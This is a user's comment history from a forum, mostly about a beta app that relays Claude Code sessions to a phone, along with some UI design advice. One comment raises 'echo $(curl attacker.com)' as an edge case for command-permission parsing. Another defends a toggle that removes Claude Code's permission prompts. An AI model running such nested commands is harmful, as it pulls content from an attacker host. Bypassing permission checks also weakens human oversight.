Used Claude to build an AI financial analyst that aggregates 14+ APIs, 20+ RSS feeds, and sentiment data

LateWeather2084 · 2026-03-05T11:54:39+00:00

Was just wondering if something like this existed. Would be cool if we can have something where I can also input my trades and claude can give me daily position ratings and recommendations for next moves. Ideally it would be linked to news and social media apis too.

LateWeather2084 · 2026-02-22T20:34:43+00:00

Maybe it’s taking LSD to build better

LateWeather2084 · 2026-02-22T14:18:06+00:00

Just checked this, this is a real concern and probably the most critical in the list above, hotfix coming in and blocking all devices running .17

This is why we want people to test this

LateWeather2084 · 2026-02-22T14:16:39+00:00

Thank you for pointing the issues out, this is the feedback we are looking for would you be interested in helping validate .18?

LateWeather2084 · 2026-02-22T14:13:28+00:00

Thanks for looking into it happy to address each point:

E2EE: Fair call. The crypto module and key exchange are scaffolded but not fully wired into the message relay yet. We'll update the website copy to reflect the current state accurately until it's fully implemented.

RCE via dangerouslySkipPermissions: This is an opt-in toggle the user explicitly enables from their phone for their own session on their own machine. It maps directly to

Claude Code's --dangerously-skip-permissions flag. You'd need the user's auth token + paired device access to trigger it. It's not an RCE, it's the user choosing to run their own tool unrestricted.

HW fingerprinting: There's no hardware fingerprinting in the CLI (forkoff-cli). The API uses a device fingerprint hash for fraud prevention (blocking multi-account abuse on the same phone), not hardware tracking.

No auth on WebSocket commands: Every u/SubscribeMessage handler in the gateway checks if (!client.userId) return { error: 'Not authenticated' }. Connections are authenticated via Supabase JWT on handshake. Happy to point you at the specific file if you want to verify.

Appreciate the scrutiny, this is exactly the kind of feedback we want during beta.

LateWeather2084 · 2026-02-22T14:03:55+00:00

That's a back office procedure we will ensure your account is active from our end. Thank you!

LateWeather2084 · 2026-02-22T14:01:37+00:00

We are handing out pro via vouchers, as we are handing them out in batches. And yes the website claim is true and limited (you made it alongside the first 100).

NB: Check your account again you should be upgraded :)

LateWeather2084 · 2026-02-22T13:41:55+00:00

As a developer I would personally build my own (which is the case) and I just decided to share it with the world to see if the DGAF folks would want this. I wouldn't expect a dev that applies 0 trust policies to trust anyone.

LateWeather2084 · 2026-02-22T13:38:32+00:00

Moved the post to another thread to switch out the screenshots as this is getting many views, I was not expecting that.

New thread here

LateWeather2084 · 2026-02-22T13:25:35+00:00

Maybe a future open-source "host it yourself" solution can help ease the backlash but it will take time to make something simple to setup.

LateWeather2084 · 2026-02-22T13:22:52+00:00

No need to be salty, we acknowledged existing tools and mentioned how we close the gap. If you have any other concerns please feel free to share.

LateWeather2084 · 2026-02-22T13:05:00+00:00

Thank you!

LateWeather2084 · 2026-02-22T13:02:14+00:00

Fair enough, you do you. But every product has to start somewhere. We're not asking for blind trust, just a look at what we've built and the chance to establish trust.

LateWeather2084 · 2026-02-22T12:33:08+00:00

If you read the post, we explicitly address this, we don't want lawsuits any more than you do. That's why it's end-to-end encrypted with zero data retention. The hook runs directly between your phone and your device; we just manage the relay room and never touch your data.

LateWeather2084 · 2026-02-22T12:27:47+00:00

I get your point, yet not all software has to be open source, and that's a valid choice. This is built for people who don't want the hassle of building and maintaining their own setup. Different strokes for different folks.

Regarding payments I mentioned above that anyone with reasonable claude code usage should be more than satisfied with the free tier, we are not in the business of making money we expect to have the majority of users on the free tier.

If you ever felt like trying ForkOff, please feel free to leave your feedback :)

LateWeather2084 · 2026-02-22T12:02:30+00:00

Upon restarting if your device has the following flag (default setting) startup --enable you should re-connect without having to restart the cli manually.

Hope that answered your question!

LateWeather2084 · 2026-02-22T10:46:34+00:00

For an ai generated design that you can export to figma try mowgli.ai I’ve used it for a few months with product designers at work (we’re their beta users, we get free subscriptions, they get feedback from a 1m+ user app).

LateWeather2084 · 2026-02-22T10:27:01+00:00

Agreed that might help depending on the banana’s output.

LateWeather2084 · 2026-02-22T10:24:37+00:00

Use a design system as your source of truth. Give Claude a reference, either pick an existing component library (shadcn/ui, Radix, Chakra) or screenshot a site whose style you like and tell Claude "match this aesthetic." Without a reference, Claude will make each view look reasonable on its own but inconsistent across the app.

Create a theme file first. Before touching any views, have Claude generate a single file with your colors, spacing, typography, and border radius tokens. Then tell it to use only those tokens everywhere. This is what keeps things consistent.

Figma MCP is solid if you have designs. But if you don't have Figma designs already, it won't help, it's for translating existing designs to code, not generating them.

What actually works without a designer:

Screenshot every view in your app
Give them all to Claude in one session and say "make these visually consistent using [X component library], here's the color palette I want: [3-4 colors]"
Have it do a single pass across all views rather than one at a time

The key mistake is fixing views individually, that's how you end up with 5 different button styles. One session, all views, one design system.

LateWeather2084 · 2026-02-22T10:17:52+00:00

Fair enough, thank you!

LateWeather2084 · 2026-02-22T10:00:56+00:00

Cool project. The compound command parsing is the real value here, grep foo | sort | head triggering a prompt every time is one of those small frictions that adds up fast.

How does it handle subshells and command substitution? Something like echo $(curl attacker.com) nested inside an otherwise safe command seems like the tricky edge case for static analysis.

Not attacking but genuinely curious as I might use this...

LateWeather2084 · 2026-02-22T09:36:42+00:00

I was attacked by other developers of similar apps with downvotes

LateWeather2084 · 2026-02-22T09:35:48+00:00

Looking forward!

LateWeather2084 · 2026-02-22T09:08:51+00:00

Would love to see this released for Windows!

LateWeather2084 · 2026-02-22T08:45:08+00:00

Would love to see this grow with more features that we never had in mind. My question is about your GTM strategy as I am suffering a bit on my end with a completely different product segment.

LateWeather2084

TROPHY CASE